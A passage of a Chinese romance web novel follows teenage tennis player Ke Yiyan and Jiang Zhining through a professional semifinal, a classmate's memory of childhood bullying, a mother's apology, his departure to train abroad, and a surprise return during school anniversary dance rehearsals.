柯绍之点头：“她和周平清一起过去，临时决定吧，过去有点事。” 汽车平稳行驶在路上，姜织宁闭眼浅睡了会儿，睁开眼，车子刚好排队开进停车场。 从停车场走到球场里，一路上，姜织宁偶遇好几位熟人，包括韩辰的经纪人。 今天会举行两场半决赛，第一场放在下午，第二场则在晚上，雷恩的比赛是下午第一场，他将对阵来自美国的网球名将。 四名选手，除了雷恩名气稍微逊色点，另外三名选手都是当今职业网坛里的热门球员，球迷不少，因此现场除了球迷，半决赛还吸引了各行各业的观众到场观赛，既看球，也社交。 韩辰的经纪人和朋友约着来看球赛，刚下车，就眼尖发现姜颖一行人从眼前路过。 经纪人连忙走上前，热情和姜颖、柯绍之打了声招呼，然后笑眯眯走到姜织宁身边，和她闲聊起校园生活。 经纪人一直想签下姜织宁。 之前，男人好几次通过韩辰打听姜织宁有没有做演员的想法，每次回复都是拒绝，今天凑巧碰见小姑娘本人，明年她就要高考了，经纪人契而不舍，决定再来问问。 话题聊到理想大学时，经纪人笑问姜织宁之后会不会参加艺考，姜织宁摇摇头，说自己对京大更感兴趣。 经纪人也是个人精，一听这话，立刻顺势说：“京大呀，可以啊！有学霸身份加持，那就更不错了！我觉得吧，表演对你来说倒是其次，完全不用担心这点，公司会给你请表演老师来上课，况且你在演技方面天生就很有灵气，你小时候演的那部电影，我就看出来了。” 男人情商高，舌灿莲花，一个劲地夸人，即使被姜织宁婉拒也不气馁，听到后面，姜织宁真挺无奈，干脆笑而不语。 随着人流走进球场，找到看台位置坐下，姜织宁扭头扫了眼周围。 俞杨、占子杰、周跃丞、艾彤全是熟面孔，趁着假期，柯译衍那帮球友都约着来看比赛。 随着比赛时间临近，观众陆续进场，一眼望去，能容纳上万人的钻石球场接近满座。 球场上，裁判站在球场中央，向两位选手宣布赛规。 紧跟着，开始挑边环节，裁判向空中抛出硬币，以此确认选手的站位和发球权。 接下来，赛前合影。 等到选手热身时间结束后，裁判发出指令，全场观众随之安静，比赛正式开始。 一个是处于快速上升期的年轻球员，另一个是久经战场的高龄老将，不同球风的激烈对决，两人各有优势，也各有劣势。 一局比赛看下来，姜织宁明显感觉到不一样，和青少年赛事比起来，职业比赛更加激烈残酷。 这就是柯译衍今后将要面对的赛场，来自鲨鱼们的凶狠对抗。 不需要柯译衍过多解释，姜织宁现在已经能看得懂网球比赛，不过涉及到球技方面，她作为外行人，还是不太懂，她时不时歪头凑近柯译衍，虚心请教。 比赛中途，美国选手因为连续失误丢分，导致关键发球局被雷恩破掉。 美国选手愤怒握拳，当场大吼两声，男人在原地辗转反侧，克制不住暴烈脾气，突然猛地抬高手臂，将网球拍朝地面狠狠砸去！ 歇斯底里的架势，暴力连砸三下，球拍瞬间弯折破碎，彻底报废。 观众席顿时嘘声一片。 姜织宁坐得近，因此看清球拍的损坏程度，都四分五裂了 她下意识扭头，表情惊讶：“还能这样啊？” 很多人诟病、贬低球员的摔拍行为，觉得这么做就是球品不行，柯译衍从没在赛场上摔过拍，但他身为球员，完全能理解。 柯译衍挑眉笑起来，头偏向她，说：“很正常，关键发球局被破，心理压力大，所以摔拍发泄情绪。” 他耐心解释：“其实很多球员不是冲对手摔拍，是因为自己没打好才发火，网球比赛时间长，强度高，导致球员在比赛时的精神压力很大，特别是碰上关键分的时候，摔拍，算是一种自我发泄，有些球员脾气大，不发泄得憋出病。” 姜织宁理解点了点头，好奇问：“那你摔过球拍吗？” 柯译衍：“摔过。” “真的假的，也是比赛的时候？” 他摇头，平淡说：“墨尔本那次，那个人来球场找我。” 姜织宁秒懂，知道他在说谁。 本想立马转移话题，静默想了几秒后，她翘起唇角，发自内心地夸了句：“做得好。” 有点出乎意料，却又很宁王的三个字，柯译衍愣了愣，低头勾起唇角，笑看姜织宁。 艾彤也来现场看比赛了，和石莜一起来的，两人就坐在姜织宁后面两排，斜角线位置。 ATP巡回赛结束之后，紧跟着青少年网球赛，因此石莜得提前飞到雾京做准备。 经过昨晚，艾彤俞杨都知道了柯译衍和姜织宁的新进展，两位当事人也没想着避嫌，一瞬间你传我我传你，就一晚上功夫，柯译衍那帮球友全知道了。 石莜也听说了。 球场座位挨得近，比赛期间要求绝对安静，观众不能随意说话，否则会干扰到球员状态，柯译衍和姜织宁都是以耳语的方式低声交流。 从石莜这个视角望过去，两人就是耳鬓厮磨的亲密姿势。 艾彤早就知道石莜喜欢柯译衍。 眼看石莜的目光总是落到柯译衍那边，局间休息时，艾彤轻拍了拍石莜的手，故作轻松安慰：“没事啊，国外的金发碧眼帅哥不是贼多吗！就上次，和我们一起吃饭的那个帅哥，今天早上还找我打听你呢，喜欢你的男生不要太多！” 石莜回头看她一眼，抿唇笑了笑，笑容很勉强。 石莜没想到会在这里碰见柯译衍，更没想到座位会挨得这么近。 柯译衍坐在眼前，她的目光受到牵引，总是忍不住偷偷望向他，更何况，他身边还坐着姜织宁。 她实在没办法专心看比赛。 石莜随爸爸，皮肤天生偏黑，儿童时期身形瘦瘦小小一个，脸也长得十分普通，在人群中很不起眼。 小时候，她因为外貌原因自卑了很久，性格很内向，自己都厌弃自己。 她上小学时，那个年纪的小朋友并没有运动美的概念，受普罗大众审美影响，周围同龄人一致觉得，像班花那样白净纤瘦的柔美女生才算漂亮。 而石莜就是班花的对照组，周围同学总在背后取笑她的黑皮肤，甚至故意给她取了个“黑妹”的外号，充满了恶意。 石莜是柯译衍的小学同学，两人不在一个班，那时候的柯译衍性格冷漠，冰山脸，不爱搭理人，但完全不影响女生们喜欢他，女生就喜欢他这种冷酷帅哥。 她早就听说过柯译衍大名，但从没接触过本人，直到学校统一报名参加暑期夏令营，她才第一次和柯译衍有正面接触。 夏令营放在某个海岛上的度假区，盛夏天气炎热，学生们天天穿着清凉的短袖短裤，胳膊小腿露在外面，一对比，石莜的黑皮肤变得更加显眼。 印象很深刻，那天吃完午饭，以周胜扬为首的三名男生一直坏心眼跟在她身后，嘻嘻哈哈，大声叫她黑妹。 她不搭理人，强忍住眼泪，埋头快速往前走。 男生们觉得好玩，故意欺负她，一时间，“黑妹！黑妹！”喊得更起劲了，甚至还唱了起来。 度假区里建了好几片网球场，常年承接各类网球训练营活动，球场旁边有一排立着遮阳伞的沙滩椅，石莜快要走到那边时，耳边突然传来一道不悦的嗓音—— “吵死了。” 她泪眼朦胧，轻吸了吸鼻子，抬眼朝前方看去。 柯译衍从沙滩椅上慢吞吞坐起来，面无表情侧目盯着她。 更准确地说，是盯着她身后的那帮恶劣男生。 眼下是自由活动时间，柯译衍极其讨厌乌泱泱的吵闹，干脆独自躲到球场附近，闭眼小憩，等待俞杨过来打网球。 结果还没躺多久，他就听见“黑妹！hey妹！hey呀hey妹！”这种由远及近的高亢鬼叫。 一群扰人清净聒噪的乌鸦。 吵死人了。 男生们集体愣住，都觉得柯译衍在帮石莜说话。 周胜扬没想到死对头柯译衍会突然冒出来，下意识转身就走。 既然惹不起，那他还躲不起吗？ 但是碍于面子，又仗着人多势众，走了几步路后，他临时改主意，鼓起勇气转身，气势汹汹冲到柯译衍身前，用力瞪着他，凶巴巴说：“关你什么事？！” “听不见？” 柯译衍冷眼缓缓掀起，脸色不耐盯着他，一字一句道，“吵死了。” 周胜扬被柯译衍盛气凌人的攻击性吓到，嚣张气焰顿时弱了几分。 他紧张咽了咽口水，扭头看了眼身后的小跟班。 就这么离开，实在没面子，周胜扬不甘示弱，挑衅怼回去：“那又怎么样？这里是你家吗？你这什么眼神，是不是想打架？” 打要打架吗？ 石莜吓得当场呆住，手抖个不停。 柯译衍懒得和周胜扬多说半个字，直接把脚挪到地上，俯身弯腰，从球包里利落抽出一把网球拍。 他撑着膝盖，慢吞吞起身。 周胜扬一见这架势，表情呆了呆，也顾不上面子不面子了，直接吓得脚底抹油，撒腿就跑。 一边跑，一边不忘痛骂柯译衍疯子！神经病！不讲武德！ 怎么能私自拿武器啊？！ 他可是空手啊！ 疯子想用球拍打架吗？ 这也太吓人了！ 就在昨天，周胜扬突然发神经，主动跑到柯译衍面前挑事。 他不自量力，非要和柯译衍比网球，一盘定输赢，谁输谁道歉，最后他输得特别惨，比分相当难看。 柯译衍碾压级别的实力直接把他打到心理崩溃，他当场扔掉球拍，坐地上大哭，鼻涕眼泪直流，简直是一段形象全无的黑历史，现场好多人看到，他这辈子都不想回忆。 所以，周胜扬现在一看到柯译衍拿起网球拍，就有很大心理阴影。 眼看老大跑了，俩小跟班也吓得溜了。 这就吓跑了？ 柯译衍无趣啧了声，把球拍随意扔进球包里，重新懒洋洋躺到沙滩椅上，没搭理呆滞一旁的石莜。 石莜惊魂未定，站着缓了好一会儿，紧张心跳才逐渐平稳下来。 这一刻，她哪也不想去，潜意识告诉她，呆在柯译衍身边才是最安全的选择。 犹豫了下，石莜抬起脚，小心翼翼走到柯译衍身边。 学校里关于柯译衍的传闻有很多，有好的，也有不好的，要不是这次偶然相遇，她都不敢靠近和他说话。 石莜反复深呼吸，做足心理准备后，怯怯问他：“那个，我我能坐这里吗？” 柯译衍闭着眼，沉默数秒，不冷不热嗯了声。 就挺不理解，女生干吗问他？ 心想，这里又不是他家，这么多空位，想坐哪就坐哪呗，又没人拦。 树影摇曳，蝉鸣嘹亮，盛夏晴空万里，云朵连成一片，像是通向天空之城的白色火车。 湛蓝色的网球场在艳阳照耀下格外漂亮，闪闪发光，充满活力。 两人都不说话，世界变得特别安静。 柯译衍无意间的小小善举变成起心动念的种子，这一刻，悄然埋藏于石莜心底深处。 石莜忍不住反复扭头，小心翼翼偷看他。 一次，两次，三次 又一次偷瞄的时候，柯译衍突然睁开眼，侧目看过来。 她整个人定住，浑身僵硬，以为被他发现偷瞄，吓得一动不敢动。 谁知，少年只是神色困惑，问了句：“那帮人鬼叫黑什么黑的，是在喊谁？” 刚才男生们一直在用怪腔调唱着“hey呀hey妹！”，柯译衍压根没听清他们在胡言乱语什么，更不知道这是在取笑石莜。 他发脾气，单纯因为这帮人太吵。 甚至他一度以为，石莜是和男生们一起的。 这会儿睁眼发现女生坐着没走，他才后知后觉反应过来，貌似不是他想的那么回事。 石莜回避柯译衍的注视，紧张回答：“叫、叫我。” “叫你黑什么？” “黑、黑妹。” 哦，这下柯译衍懂了，敷衍打量她一眼，不以为意收回目光。 一提起讨人厌的外号，石莜心里就很委屈，她难过垂下眼，忍不住低声抱怨：“长得黑又不是我的错，干嘛取笑我啊！” “” 柯译衍觉得这事特小，特无聊，无聊到他都不想搭腔。 但最后，他还是脸上没什么表情地说了句：“打网球的都这样，女生也会晒黑。” “那你怎么没晒黑？”石莜纳闷反问。 他愣了下，没想到女生会突然举例到他身上。 柯译衍小时候挺喜欢穿白色，今天也是一身干净利落的白色运动装，少年感浓烈。 他是偏白肤色，但也没有白到哪里去，不过，比起其他同龄球员来说，他确实晒不太黑，大概率是基因问题。 从没关心过这种问题，柯译衍沉默数秒，干巴巴回了句：“早晚的事。” 石莜盯着他的球拍，好奇问：“你球拍上那个蓝色圆圆的是什么？” 柯译衍低头瞄了眼：“避震器。” 没过多久，俞杨和艾彤过来了，两人身上背着球包，艾彤晚到几天，今天才加入夏令营。 柯译衍戴上纯白棒球帽，懒洋洋起身，拎起球包走向俞杨。 艾彤对石莜很好奇，笑眯眯坐到她身边，主动问她怎么会和柯译衍呆在一块儿。 石莜把刚才的意外说了遍，艾彤一听到她被嘲黑妹，立马伸出胳膊，和她对比肤色。 “看，我也很黑啊！” “打网球晒得特别黑，我周围很多朋友都是这种肤色，这可是我们网球人刻苦训练的勋章！” “皮肤黑很正常的啦，要这么说的话，我也是黑妹呀，不过周胜扬可不敢这么说我，他对我很尊敬的！” 石莜轻声细语说：“周胜扬怕你？” “没错，我会生气打他！”艾彤一脸自豪地说，“而且我艾彤，可是全国网球比赛单打冠军！周胜扬连网球都打不过我！真是个弱鸡！” 石莜不由笑起来，心想，她真厉害。 心情好转不少，石莜专注望着球场上白衣少年奋力挥拍的帅气身影，不由升起几分好奇心，她想了想，轻声问艾彤：“打网球好玩吗？” 艾彤直点头：“好玩，特别好玩！你要不要试试看？我可以教你啊，等你熟练了，我们可以和柯译衍他们组双打玩。” 喜欢这件事，不讲道理，无法强求。 说实话，石莜非常意外，身处云端之上，受人仰望的耀眼少年，居然也会暗恋一个人。 第一次在EQUA见到柯译衍姜织宁的时候，第六感便觉得两人之间有点什么。 柯译衍对女生的亲近态度，石莜从未见过，怎么讲呢，像是一种很微妙的化学反应。 正因为她喜欢柯译衍，格外关注他的举动，所以一眼便瞧出他对姜织宁抱有什么想法。 网球给石莜的外貌、性格、心态方面带来了翻天覆地的改变，运动让她内心变得强大，也让她明白，原来女生也可以拥有不输于男生的力量。 再也没有恶意的黑妹标签，她逐渐变成了同学们口中的女神。 当然最重要的是，她学会了自我认可，学会了爱自己，也借着网球，她和柯译衍成为了能说得上话的朋友。 时间流逝，那颗埋藏心底的心动种子早已长成一株向阳花。 原本觉得朋友就很好，她已经得到很多了，可后来，她又贪心的想要更多。 和柯译衍表白失败后，她特别失落，追问了他好几句，他没有遮遮掩掩，承认自己有喜欢的人，她下意识想起姜织宁。 今天，她看到两人坐在一起亲密说笑，心里毫不意外，果然，姜织宁就是少年的白月光。 酸涩、难过石莜心里有很多情绪，但更多的是释怀，好像故事的结局本该如此。 她比任何人都希望少年一世顺利，得偿所愿。 想要彻底放下暗恋了这么多年的人，真的很难很难，但她从不后悔喜欢柯译衍，不后悔和他表白。 直到现在，她依然庆幸喜欢的人是柯译衍。 正因为多年前少年不经意间的善举，才使得她内向自卑的人生有了新的轨迹，一步步向光而行，她努力成长成了更加优秀的自己。 如今的她，对自己很满意。 树影摇曳，蝉鸣渐响，又一年，夏天就要来了。 石莜会永远记住年少时那个独一无二的心动盛夏。 以后，她依然会支持柯译衍的比赛。 也会释怀的，自豪地对别人说—— 看，这就是我曾经喜欢过的少年。【你现在阅读的是 】 90-96 第91章 致月亮 柯卉芸左手边有两个空位, 场上球员打到第六局的时候，衣着华贵，脸戴墨镜的短发女人姗姗来迟, 西装保镖紧随其后。 短发女人是柯卉芸的大姑，前夫时征同父异母的姐姐, 名叫时琼，商界女强人, 手腕雷厉风行，是时家目前最有可能接手家业的子女。 当年正是因为有时琼的帮忙, 柯卉芸才能和时征顺利离婚, 否则她绝对会被时家扒掉一层皮。 另外, 柯译衍新教练与时征串通一气的交易，也是时琼透露给柯卉芸。 女人优雅坐下, 看向柯卉芸：“译衍来了吗？” “来了。”柯卉芸转身指了个方向，“就坐后面。” 时琼顺势转头望去, 仔细打量少年几眼，收回目光, 弯唇笑道：“长这么大了，小时候我还抱过他。” 互相了解了会儿近况, 时琼注视着赛场, 云淡风轻地说：“我最近给时征找了点事情做, 接下来他会很忙, 他要是搞不定呢，就会进去, 估计得呆好几年才能出来, 你不会心疼你前夫吧？” 柯卉芸漠不关心地说：“他的事和我没关系，这辈子都没关系。” “那就好。”时琼满意笑起来, “我这弟弟啊，从小生活就过得太舒服了，人哪有一辈子顺利的？既然他喜欢玩火，那我自然要给他添把柴，只有吃点苦头，他才会长记性，你说是不是？” 柯卉芸扬唇点头。 球场上，第一盘比赛经过激烈抢七后结束，雷恩暂时领先，短暂的盘间休息，不少观众起身去洗手间。 时琼还有事，带着保镖离开。 柯译衍陪姜织宁买饮料回来，半路上被柯卉芸叫住，他皱了下眉，看向姜织宁，姜织宁微笑轻推他，让他快点过去。 他坐下，柯卉芸开门见山，和声说：“译衍，妈妈想和你道个歉。” 柯译衍沉默看她一眼。 柯卉芸：“当初Peter出事后，你整个人状态下滑的很厉害，看你变成那副消沉样子，我心里全是自责，比任何人都难受，都着急。” “时征这个人，特别会花言巧语，骨子里烂透了，当时他好几次主动找上我，讲了很多虚伪话，说想弥补你，弥补这么多年欠缺的父爱，我那时太着急，一心想为你做些什么。” “我天真以为，时征比我懂网球，又是你生父，至少在网球这件事上，他是真心想要出一份力，哪知道，这个烂人心中只有私欲，彻头彻尾就是个骗子。” “妈妈太失望，太生气，觉得自己没能帮到你，反而害了你，所以和时征吵架的时候，一时没顾及到你的感受，口不择言，说了很多气话。” 当初时征想接柯译衍回家，柯卉芸坚决不同意，两人在墨尔本医院当着柯译衍的面，吵得特别凶。 柯卉芸气急上头，说了很多“以后就当没生过这个儿子！永不见面！”之类的伤人狠话。 等到事后冷静下来，她特别特别后悔。 她曾经不管不顾，把柯译衍丢在父母家，刻意冷落他近十年，导致他自幼父母缺位，如今，她再说出抛弃、不见面的伤人话，柯译衍心里该有多难受。 柯卉芸嗓音有点哽咽：“妈妈没有不要你的想法，我决不会这么做，我当时，就是太害怕，害怕你真的和时征走，我怕真的失去你” 柯译衍从始至终沉默听着，内心平静。 这些话，柯卉芸回国之后和他说过一遍，当时他全程冷着脸，只觉得烦躁和可笑。 今天，柯卉芸又主动和他说了遍，说不在意肯定是假的，但如今再听到这些话，他心中只剩下平静。 解开心结并不是容易的事。 柯卉芸不奢望柯译衍能原谅她，之所以重提往事，是希望儿子能够朝前走，放手追逐他热爱的网球，不要因为过去阴霾，耽误他本该耀眼的人生。 过年那会儿，得知柯译衍和西班牙教练约课的消息，她心里便有所预感，没过多久，柯译衍就在饭桌上告诉她重新捡起网球，走职业路线的决心。 她很欣喜，全力配合。 柯卉芸抬起手，迅速擦了下湿润眼角，换了个轻松语调，说：“没什么事，妈妈就是随便说说，你别放心里，坐宁宁那边去吧。” 柯译衍犹豫片刻，没起身，柯卉芸扭头看他。 头顶阳光逐渐照耀到柯译衍身上，带来阵阵暖意。 广阔无垠的大海宁静平和，海面波光粼粼，冷漠锋利的冰川在阳光中缓慢消融。 再坐一会儿，似乎也不错。 柯译衍眯了眯眼，抱臂后靠向椅背，平淡说：“等会儿吧。” …… 时间飞逝，六月来临，又到一年高考季。 高考前几天，学校例行为高三考生组织了一场助威活动，每年活动形式都不一样，今年校方特意邀请了如今已是当红歌手的校友到场，为考生们献唱加油。 除此之外，校街舞社、器乐社、合唱团、啦啦队等各类社团，都为考生们准备了精彩的助阵节目。 舞台中央，姜织宁几人跳了首Sunstroke Project的《Champagne》，结束街舞表演，暂时退到旁边。 一转身，瞄见柯译衍从网球场方向走来，柯译衍走到她眼前，姜织宁扫了眼他身上的球包，扬唇说：“要去训练了？” 柯译衍嗯了声，等俞杨过来。 两人站原地，聊了会儿高考助威活动，突然间，姜织宁脑袋往旁边一歪，看向柯译衍身后，笑眯眯打了声招呼：“好久不见啊蔡总～” 蔡从本打算先上楼，中途发现柯译衍也在场，脚步果断停住，懒洋洋调转方向，朝姜织宁走去。 他走到两人面前，问：“站这干嘛呢？” 姜织宁：“一年一度的高考加油活动啊，给你们这群高三生加油呢，你怎么回校了？你又不参加高考。” 蔡从：“回来拿东西，过阵子你们不是要搬过来。” “哦。”姜织宁敷衍挥挥手，“那你忙去吧。” 蔡从没走，侧目看向柯译衍，突然笑容没好意地问了句：“兄弟，想看宁王黑历史照吗？” 柯译衍愣了秒，轻挑眉。 姜织宁：“？” 笑容瞬间消失。 这蔡狗怎么回事啊？想干嘛啊？ 蔡从最近一直在忙升学的事，有段时间没和姜织宁联系了。 之前五一假期，父母让他喊上几位朋友、同学到家里吃饭，邀客名单中包括姜织宁，周静瑶收到邀请信息，顺势和他提了嘴，说姜织宁五一假期要去雾京玩，来不了。 姜织宁没有不让说她和柯译衍的新进展，所以周静瑶直接说了这事，毕竟大家都是自己人。 蔡从听后还挺意外，但也没那么意外。 姜织宁肺炎住院那次，他看到柯译衍也在医院，便觉得此事必有蹊跷，那个时候他就想八卦问一嘴，但碍于姜织宁住院期间心情不好，他不想挨她骂，就忍住没问。 早有预料的事，他确实不太意外。 不过，姜织宁为了一路清净到毕业，特意拿他做挡箭牌，怎么就突然改主意了？ 此事必有蹊跷，特别好奇，总而言之，他对柯译衍这个人很感兴趣，很想了解。 蔡从拿出手机，坏笑提议：“加个微信？” 一副要和柯译衍细说姜织宁从小到大黑料的狗样。 柯译衍笑了笑，被他问得挺好奇，慢悠悠点头：“可以。” 姜织宁：“” 不是，这两人有没有把她放在眼里啊？ 有没有礼貌？ 居然敢无视她？ “可以什么可以？我同意了吗？” 姜织宁目光锐利盯着柯译衍，面无表情放狠话：“我这儿有黑历史照原版正片，高清□□，劲爆刺激，要看吗？要看我发你。” 一副柯译衍不点头，他今天绝对死定的威胁态度。 柯译衍：“” 蔡从：“” 黑料什么的，姜织宁很不屑。 无非就是她脑袋被砸住院，刚做完手术不久后的一些搞笑视频。 那段时间里她记忆很糟糕，三天两头的，要么认错人，要么压根忘记对方是谁，怎么也想不起来。 周静瑶又心疼又好笑，给她偷拍了好几个茫然脸认人的小视频，她自己都觉得很好笑。 除了这个，估计还有些她生气时骂蔡从的黑脸照，周静瑶喜欢记录，手机、相机里有很多好友之间的搞笑相处日常。 姜织宁郑重警告柯译衍：“我之前是不是说过，没必要认识蔡狗，狗里狗气的传染率很高。” 柯译衍：“” 顺便同情瞥了眼蔡从。 “？”蔡从啧了声，表情不爽说，“宁王，怎么能这么说呢？要伤心了啊。” 姜织宁瞪他：“谁先开始的？” 这时，俞杨背着球包，活力十足走过来：“走啊，衍神！” 手机到底没拿出来，柯译衍勾唇看着姜织宁，说：“走了。” 然后遗憾看向蔡从，用眼神表示—— 不是不想交他这个朋友，实在是姜织宁不允许，他也没办法。 蔡从默契懂了，很理解，吊儿郎当笑道：“没事，来日方长呗。” 还敢来日方长？ 姜织宁立刻嘶了声，当即抬手打狗。 …… 高考结束后，姜织宁这一届跃升为准高三生。 柯译衍已经办好全部手续，在放暑假前，他将启程飞往美国佛罗里达州闻名世界的网球学院，正式开始职业网球运动员生涯。 离开前一晚，吃完饭，姜织宁递给柯译衍一个护身符。 她撑着脸颊，眉眼弯弯对他说：“前段时间，姑姑带我去庙里求学业，听说那个庙很灵验，顺便给你求了个护身符，本来想提前给你的。” 柯译衍伸手接过，打量着问：“那怎么没给？” “这不是正好那天蔡从跳出来打岔吗。”姜织宁撇嘴说。 柯译衍勾唇笑起来。 没什么煽情话，姜织宁笑盈盈看着他：“祝你一切顺利。” 柯译衍把护身符收好，叮嘱她：“照顾好自己。” 姜织宁点头：“知道，放一百个心，你也要照顾好自己。” 之后，高二下学期正式结束。 准高三们转移阵地，集体搬到高三教学楼，暑假自然是没有了，短暂休息后，剩下时间全部贡献给补课。 周静瑶自觉收起嘻嘻哈哈的散漫状态，为了考上理想大学，一门心思全放在了学习上。 按照学校规矩，姜织宁退出全部社团，卸任所有职务，回归学业。 家里有个高考生，姜颖为了减轻姜织宁情绪方面的压力，特意从家里带了一猫一狗过来养。 姜织宁上课的时候，柯译衍在国外训练比赛，彼此像两条平行线，循着各自目标向前奔跑。 互相见不了面，只能通过微信联系，国内外隔着时差，时间总是凑不到一起，所以没有太多视频机会，基本都是发信息。 除了聊天，柯译衍会定期给姜织宁发日常，比如—— 早餐午餐晚餐吃什么。 新换的网球拍长什么样。 今日训练内容。 教练给他拍的训练视频。 比赛输了还是赢了。 最近喜欢听的歌。 网球场上的日升日落。 悬挂夜空的皎洁明月。 比赛沿途的异国风景 另一边，姜织宁也会给柯译衍回复过去—— 早餐午餐晚餐吃什么。 加量加倍的难喝中药。 中药里的奇葩药材。 家里猫猫狗狗的搞笑瞬间。 通宵也刷不完的恐怖试卷量。 考试分数和排名。 最近看了什么电影。 夏日暴雨之后，教室窗外的盛大彩虹。 校庆舞蹈排练日常 柯译衍是八百年不发一次朋友圈的人，有次，他和教练去看比赛，汽车飞速行驶在沿海公路上，沿途海天一色，落日波澜壮阔，他随手拍了张粉紫色的浪漫天空发到朋友圈。 文案就三个字—— 致月亮。 八百年不发一次朋友圈的人，突然破天荒发了张风景照，文案还这么引人遐想，评论区很快叠起高楼。 麦麦：我去，谁啊？！月亮是谁啊？！！！有没有好心人告诉我！ 吴瑞奇：哈哈哈，懂了懂了！我懂你！ 周跃丞：你变了。 斯胜：@周跃丞啧啧啧，你这种单身狗是不会懂的，单身狗真可怜。 艾彤：哎哟哎哟，这么甜的吗，月亮呢，在评论区吗？要不要我帮你艾特一下啊？ 俞杨：好的，谢谢。 占子杰：啊哈哈哈哈哈哈哈，俞杨你有病吧！！！笑死我了，你是衍神心里的月亮吗？？？ 俞杨：@占子杰没错，就是我，酸不酸？ 占子杰：呵呵，酸不了一点。 蔡从：可以啊衍神。 周静瑶：啧啧啧，这拍照技术都快赶上本周导了！顺便透露下，月亮忙着排练呢，别着急啊，我现在就去提醒她！ 姜织宁坐在舞蹈教室地板上，弯着眼笑，慢悠悠浏览完评论区，给柯译衍这条朋友圈点了个赞，笑着回复—— 【moon】：好看～ 第92章 我很会说情话的 两人再见面的时候, 已经是十月份了。 十月下旬，江洲中学建校110周年校庆，姜织宁这群高三党虽然已经退出社团, 沉心学习，但学校统一组织的大型活动, 例如运动会、庆典之类，高三党还是可以出席的。 更何况, 这可是110周年校庆。 学校指定高三这边要出一个集体节目，师生们商量后, 最终决定排一支特别热血澎湃, 励志应景的舞蹈节目《This is Me》, 电影马戏之王的高光主题曲。 参演舞蹈节目的人数不算少，高三每个班都出了人, 有女生有男生，由音乐老师统一带领, 从暑假补课期间就开始排练。 十月中旬，柯译衍没提前告诉姜织宁, 独自从日本东京飞回江洲市。 他到家放好行李，低调前往学校, 这会儿正是活动课时间, 学校里充满欢乐气息。 路上经过几幢教学楼, 趴走廊上的学妹们不经意瞄见柯译衍, 集体愣住，默契朝他行驶注目礼。 然后互相激动推搡, 语气兴奋：“我去, 帅哥帅哥！高质量帅哥！！！这是咱们学长吧？哪个年级？哪个班？” 一路走到艺体楼，上楼找到舞蹈教室, 柯译衍没急着进去，双臂环至胸前，悠闲站在教室后门口，弯唇注视着正在专心练舞的姜织宁。 教室里，周静瑶正举着相机录排练视频。 走动间，她率先发现柯译衍身影，愣了秒，然后贼兮兮笑起来，脑子里瞬间蹦出个坏主意。 “哎宁王！” “啊？”姜织宁看向周静瑶。 周静瑶笑嘻嘻说：“让我录下花絮，现在看我镜头，嗯，身体慢慢往后退，我让你停你再停，刚发现这个角度的光线特别好，人拍出来特美。” 有点奇怪，但姜织宁还是照做了，也没多问。 她给周静瑶做摄影模特的时候就是这样，非常信任周大摄影师的安排，无条件配合。 周静瑶一边拍她，一边问：“校园记者突击采访，请问你们在排练什么节目？” 姜织宁笑答：“在排练校庆舞蹈节目《This is Me》。” 周静瑶一本正经问道：“《This is Me》是马戏之王主题曲，曾提名奥斯卡金像奖和格莱美奖，歌曲震撼人心，特意选择这首曲子，是有什么特殊意义吗？” 姜织宁：“不仅是校庆节目，更是送给全体高三同学的一份礼物，希望我们的舞蹈能给大家带来冲破黑暗，勇往直前的力量。” “勇往直前，嗯，说得好！”周静瑶趁势把话题转到柯译衍身上，“听说我们双A组的另外一位同学，此时就在国外发光发热是吗？” 姜织宁愣住，停下脚步，表情有些茫然。 周静瑶偷瞄了眼教室门口，突然问了句：“想他嘛？” 姜织宁：“” 不是校园记者吗，怎么突然说起私人话题了 一片无语中，她克制不住地心想，怎么会不想呢。 在过去，她和柯译衍几乎天天见面，长时间的相处养成了惯性，如今只剩她一个人，确实有点不习惯，要不然，怎么会说异地恋、异国恋折磨人。 姜织宁压下那股磨人情绪，叹了口气，干巴巴回：“干嘛，你能把他变出来吗？” “这就小瞧我了啊。”周静瑶笑容放大，“简直小菜一碟，你转身看看，是谁来了。” 心紧了下，姜织宁的心脏猛然砰砰跳起来，转身望去。 突如其来的惊喜，本应该在东京的柯译衍突然出现在眼前，勾唇看着她，不知道在这里站了多久。 她愣愣望着柯译衍，一动不动，非常意外。 怎么还傻了呢？ 周静瑶忍不住抬手，往姜织宁后背用力推了把。 姜织宁惊呼一声，身体向前倾倒，脚步趔趄扑进柯译衍怀里。 柯译衍及时松手，笑着揽抱住她。 “wow！！！” 舞蹈教室响起几道高声起哄。 “” 姜织宁在他怀里站稳，扭头瞪了眼罪魁祸首，周静瑶嬉皮笑脸装无辜。 姜织宁后退一小步，抬眸看向突然出现的人，笑问：“什么时候回来的？” 柯译衍：“刚下飞机。” “怎么突然回来了，回来参加比赛？” 有人要进教室，柯译衍侧身让位，顺势走进来，松弛靠着后门，摇头说：“日本比赛结束后就要飞欧洲，估计会在欧洲呆到十一月底，东京飞江洲很方便，干脆顺路回来看一眼。” 姜织宁挪到他对面，双手交叠背后，也靠着门框，和他面对面站着。 她俏皮拖着嗓音哦了声，故意问：“回来看什么？” 柯译衍挑眉：“当然是看你。” 她眉眼弯弯，满意了。 “教练来了吗？” “没有，他们先过去。” 姜织宁诧异道：“那你自己跑回来，教练会不会骂你啊？” 柯译衍故意无奈叹了口气，逗她说：“会啊，本来都不让我请假过来。” “那你什么时候走？” “明天。” “这么赶啊。”姜织宁忍不住感叹一句，行程这么匆忙，还真是回来看一眼。 柯译衍笑笑，早就习以为常。 网球运动就是这样，从1月到12月，每个月都有好几场比赛，赛程从年初开始，年尾结束，非常密集，球员为了积分和排名，得追着巡回赛全球各地飞。 姜织宁歪头想了想，突然说：“要不然，你现在回去吧。” 柯译衍：“？” 她抿唇说：“这样就不会挨骂了。” 柯译衍：“” 姜织宁：“不是看一眼吗，已经看过了，可以走了，赶紧的。” 柯译衍被她气笑：“良心呢？” 她笑起来：“这不是为你好嘛，不想你挨骂呀。” 柯译衍哼了声：“少来这套，最近睡眠怎么样？头还痛么？” “拖加量加倍中药的福，还可以吧。”一提起这个，她就忍不住叹气，“你知道吗，上次姑姑带我去开中药，我看了眼药单，里面居然有蜈蚣和蝎子哎” 姜织宁一脸生无可恋：“给我惊呆了，现在每次喝中药，都很有心理负担” 柯译衍弯唇安慰她：“良药苦口利于病，都是药材。” “那可是蜈蚣！”她撇嘴说，“我最讨厌蜈蚣这种爬来爬去的动物。” 站着闲聊了会儿，姜织宁打了个招呼，拿上手机，和柯译衍一起离开。 路过音乐教室，有人叫住她。 